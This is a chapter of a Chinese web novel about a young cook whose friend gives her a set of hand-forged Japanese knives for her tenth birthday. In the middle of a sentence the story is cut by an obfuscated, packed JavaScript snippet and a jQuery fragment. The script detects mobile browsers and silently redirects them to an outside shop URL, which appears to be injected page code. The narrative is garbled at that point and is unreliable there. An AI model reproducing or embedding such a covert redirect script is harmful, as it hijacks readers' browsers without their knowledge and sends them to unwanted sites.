15.三年烟火,四时如歌
作品:《厨神崽崽,摆摊爆红》 春去秋来,云锦里的梧桐叶黄了又绿,绿了又黄。
“如酌汤面”开业那天,红绸映红了半条街。三百平米的店面,明档厨房里蒸汽腾腾。宋听雅站在崭新的不锈钢灶台后,看着第一锅高汤在紫砂大锅里翻滚,乳白色的汤汁漫出浓郁的骨香。她恍惚了一瞬,随即便被李芬那声洪亮的“老板娘,加汤!”喊回了魂。
日子就这样在烟火气里扎下了根。
三年里,菜单换了七次时令,墙上的“今日售罄”牌子换坏了两块。
生意比预想的还要好。老客们寻着味儿追来,新客们被口碑引来。附近的白领把这儿当成了“续命食堂”,甚至连一些挑剔的老饕,也愿意为了那一碗看似普通却滋味无穷的“暖胃面”,在门口排上半小时长队。
十岁的宋如淼每天放学先写作业,写到一半会被楼下的汤香拽一下鼻尖;她趴在二楼窗边算完最后一道题,再拿着笔记本跑去明档前,像例行巡查一样试一口汤。
在学校,她是老师眼里的“别人家的孩子”。数学课上,心算速度快得惊人——那是前世在天宫膳房,为了精准配比龙肝凤髓练出来的本能;语文作文里,她写的永远是食物与爱。老师批语:“文字有远超年龄的通透与温情。”
而谢晚酌依旧是那个清冷矜贵的学神。只是现在的他,书包侧袋里永远装着一瓶她爱喝的温热桂花蜜茶。放学后,两人习惯在店里二楼那个朝南的小包间写作业。
窗外,四季流转。春日飞花,冬日落雪。
她咬着笔杆解题时,他会顺手将窗户关小半扇;他专注看书时,她会悄悄把刚出炉、甜度减半的栗子糕推到他手边。
她把栗子糕推过去时,他没抬头,只把那瓶桂花蜜茶往她手边挪了半寸。
而在周末,她是方总厨眼里的“妖孽”。
谢夫人安排的研学厨房里,国宴出身的方总厨从一开始的漫不经心,到后来恨不得把一身绝学倾囊相授,只用了一个月。
那天,宋如淼仅凭一眼一闻,就从十几条外表无差的海参里,挑出了发制火候最完美的两条。方总厨当时愣了半天,最后只叹了一句:“祖师爷赏饭吃,这丫头的五感,是通了灵的。”
她像一块干燥的海绵,疯狂吸收着这个世界的烹饪技法。她把学来的“理”,悄无声息地化入自家的家常菜里。
一道红烧排骨,她改了炒糖色的火候,加了一钱陈皮,淋了三滴十年花雕。客人们吃不出门道,只觉得:“这儿的肉,吃进胃里就是舒坦,连心情都变好了。”
随着技艺精进,【极寒渊境】的进度条也在稳步爬升。
12.3%……18%……25%……
直到生日的一周前,云城遭遇了一场罕见的秋季暴雨,进度条似乎也到了一个微妙的瓶颈。
雨像瓢泼一样砸在云锦里的青石板路上,狂风把路边的梧桐树吹得东倒西歪。因为天气恶劣,“如酌汤面”难得在晚上七点就送走了最后一波客人,提前挂了打烊牌子。
店里只剩下一盏暖黄的吊灯。宋听雅在二楼盘账,李芬阿姨已经顶着雨披回家了。
一楼的明档厨房里,十岁的宋如淼正对着案板发愁。
案板上放着一块上好的牛腱子肉,纹理清晰,肉质紧实。这是方总厨特意让人送来的,让她练习“灯影牛肉”的切片技法。
“要薄如蝉翼,透光可见纹理,且肉片不能散。”这是方总厨的要求。
宋如淼深吸一口气,握紧了手里那把用了三年的不锈钢菜刀。
“咄。”
第一刀下去,厚了。
“咄。”
第二刀,薄是薄了,但边缘起了毛刺,肉的纤维被钝刀硬生生挤压断裂,失去了那种灵动的韧性。
宋如淼眉头紧锁,手腕因为长时间发力而微微颤抖。她不甘心地再次下刀,可那把在普通人手里尚算锋利的菜刀,在此时就像一根烧火棍,迟钝、笨重,根本跟不上她脑海里那个精准的“理”。
那种明明知道该怎么做,手里的工具却跟不上的无力感,让她有些烦躁。
“呲——”
刀刃在一块筋膜上打滑,猛地偏了一下。
宋如淼吓了一跳,本能地缩手,刀锋擦着指甲盖划过。虽然没见血,但指尖传来的钝痛还是让她倒吸一口凉气,手里的刀“哐当”一声掉在案板上。
“怎么了?”
一道少年的声音立刻从楼梯口传来,带着明显的急促。
一直安静坐在角落看书等雨停的谢晚酌,几乎是瞬间就放下了手里的英文原版书,大步走进了明档区。
“没、没事。”宋如淼下意识把手背到身后,“就是刀滑了一下。”
谢晚酌没说话,那双已经初具威严的瑞凤眼微微眯起,不容分说地拉过她的手。仔细检查了一遍,确信指甲盖只是蹭白了一块,没有破皮流血后,他紧绷的肩膀才松弛下来。
但他没有放开她的手,而是转头看向案板上那块被切得参差不齐的牛肉,以及那把掉在一旁的菜刀。
他伸出修长的手指,在刀刃上轻轻摸了一下。
“刀钝了?”他问。
“也不算钝,平时切菜够用了。”宋如淼有些懊恼地嘟囔,像个考砸了的小学生,“是我想做的太精细了。这刀钢口软,磨得再快,切几片硬肉就卷刃。而且太厚,进去的时候阻力大,肉就散了。”
她叹了口气,看着自己的手掌:“方爷爷说,厨师到了这一步,就像剑客。心里有招,手里没剑,也是白搭。我现在……大概就是那个拿着木棍想练绝世剑法的人吧。”
她明明是在自嘲,谢晚酌却听得心里一紧。
他看着眼前的小姑娘。才十岁,手掌心里已经有了一层薄薄的茧,那是常年握刀留下的勋章。她总是笑嘻嘻地给别人做暖胃的汤,却很少有人注意到,她在后厨为了那一口完美的味道,要付出多少枯燥的练习。
“既然是剑客,就该配把好剑。”谢晚酌低声说道,声音被窗外的雨声衬得格外清晰。
“好剑很贵的。”宋如淼重新拿起那把沉重的菜刀,用抹布擦了擦,“而且好的厨刀很难保养,我现在力气还小,这把凑合用吧。等我攒够了钱,一定要买一把那种日本匠人打的‘青纸钢’!”
说者无心,听者有意。
谢晚酌的目光在那把普通的菜刀上停留了两秒,默默记下了“青纸钢”这三个字。
“先别练了。”他拿过她手里的刀,挂回刀架,“雨这么大,饿不饿?我想吃面。”
话题转得太快,宋如淼愣了一下,随即眼睛一亮:“饿!我也饿了!那我给你做碗新的?刚才切坏的牛肉正好做浇头!”
“嗯,要辣一点的。”
“好嘞!”
只要一回到灶台前,刚才的挫败感就烟消云散。宋如淼熟练地起锅烧油,虽然刀工受限做不成灯影牛肉,但做一碗香喷喷的红烧牛肉面,这把刀还是绰绰有余的。
十分钟后,两碗热气腾腾的面端上了桌。
窗外风雨如晦,店内灯火可亲。
谢晚酌挑起一筷子面条,看着对面吃得鼻尖冒汗的小姑娘。她吃得香,腮帮子鼓鼓的,像只囤食的小松鼠。刚才那点因为刀具不趁手而产生的阴霾,已经被这碗热汤彻底治愈了。
“淼淼。”他忽然叫她。
“唔?”宋如淼抬头,嘴角还沾着一点汤汁。
谢晚酌抽出一张纸巾,自然地递给她,语气里带着几分少年特有的笃定:“以后遇到了问题,或者是缺了什么‘兵器’,要跟我说。”
“啊?”
“我是说……”谢晚酌顿了顿,移开目光,看向碗里浮沉的牛肉粒,“投资人有义务保障主厨的硬件设施。这属于……合理的商业投入。”
宋如淼眨眨眼,看着他微红的耳根,忽然扑哧一声笑了。
“知道啦,投资人哥哥!”
她把碗里的荷包蛋夹给谢晚酌,笑眯眯地说:“那为了回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144007|195438||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
报投资人,这个蛋归你!吃了我的蛋,就要保佑我早日练成绝世神功哦!”
谢晚酌看着碗里多出来的荷包蛋,唇角微扬。
那天晚上,谢晚酌回家后,看了一眼法国那边的时间,拨通了远洋电话。
“哥,帮我找一套刀。要最好的青纸二号钢,手工锻打。对,全套……不是我用。”
电话那头似乎调侃了一句什么,谢晚酌顿了顿,声音低了几分:“……是我想送给淼淼的生日礼物。她切菜切到手了。”
那场夜雨,并没有浇灭少年的心事,反而让某些种子,在潮湿的泥土里,发了芽。
到了十岁生日这天,进度条逼近了30%。
这一天,秋高气爽。
“如酌汤面”提前挂了“东主有喜”的牌子。店门紧闭,里面却暖意融融。
没有豪华宴席,只有宋听雅亲手做的一桌长寿面和家常菜。桌子中央,摆着一个不算精致的奶油蛋糕,上面用果酱歪歪扭扭画了个小锅铲——那是李芬阿姨的手笔。
“淼淼,快许愿!”宋听雅笑着催促,眼角的细纹里都藏着幸福。
宋如淼闭上眼,双手合十。
第一个愿望:妈妈永远健康,再也不受穷苦。第二个愿望:这人间烟火,能暖更多人的胃。第三个……
她悄悄把眼睛睁开一条缝。对面的谢晚酌正静静看着她。少年身量抽条,肩膀宽了,眉眼间的稚气褪去,原本苍白的肤色如今有了健康的血色。那双曾经像荒原一样的眼睛里,此刻映着烛火,竟有了春水初融的暖意。
她在心里默念:希望晚酌哥哥的“渊境”快点满吧。
蜡烛吹灭,欢呼声起。
谢晚酌等大家闹完,才走到她面前。他递过一个深胡桃色的长木匣。
木匣沉手,边角包着哑光铜饰,带着淡淡的檀木冷香。
“这是……”宋如淼有些惊讶。
“打开看看。”谢晚酌的声音还在变声期,带着几分少年的低哑磁性。
她拨开云纹锁扣,掀开盖子。
深蓝色的丝绒上,静静躺着一套刀具。一共五把,主厨、三德、蔬果、削皮,还有一根磨刀棒。刀身并非那种刺目的亮银色,而是泛着幽暗的青光,刃口处有着如水波般流动的锻打纹路。
宋如淼是识货的,她指尖悬在刀背上,甚至能感觉到那种凛冽的寒气。
“这是‘青纸二号’钢,手工锻打的。”谢晚酌语气平淡,仿佛在说一件寻常事,“我记得你上次提过,现在用的刀切韧性食材时手感发涩。我拜托我哥从日本一位老匠人那里求来的,这一套,刚好适合你现在的手型,也能再用个三五年。”
宋如淼猛地抬头。她只是随口抱怨过一次,连妈妈都没在意,他竟然记住了?而且……“青纸钢”极难保养,却极其锋利,是真正的主厨才会用的“兵刃”。
“这太贵重了……”她下意识想缩手。
“厨师的刀,是手的延伸。”谢晚酌看着她,眼神专注而认真,“你有那个天赋,也够努力,值得。”
宋如淼看着他。少年站在暖黄的灯光下,神色坦荡,那份心意比这套名刀更加沉甸甸。
心口那簇属于功德的小火苗,像是被泼了一勺热油,呼啦一下燃得更高了。
她不再推辞,郑重地合上木匣,紧紧抱在怀里,仰起头,笑得眉眼弯弯,琥珀色的瞳仁里像是藏进了漫天星光。
“谢谢晚酌哥哥!我会好好用它们的!”她大声保证,“我会用这把刀,做出全世界最好吃的菜!”
谢晚酌看着她灿烂的笑脸,一向清冷的唇角,极轻地勾了一下。
窗外,秋阳正好。
曾经那个试图用旧日阴霾困住她们的傅家,早已被谢家和这三年的安稳日子挡在门外。宋听雅不再提,宋如淼也不再问。
宋如淼摸了摸怀里的刀匣,又看了一眼忙碌却快乐的妈妈,和身边安静守护的少年。
她忽然觉得,人间真好。

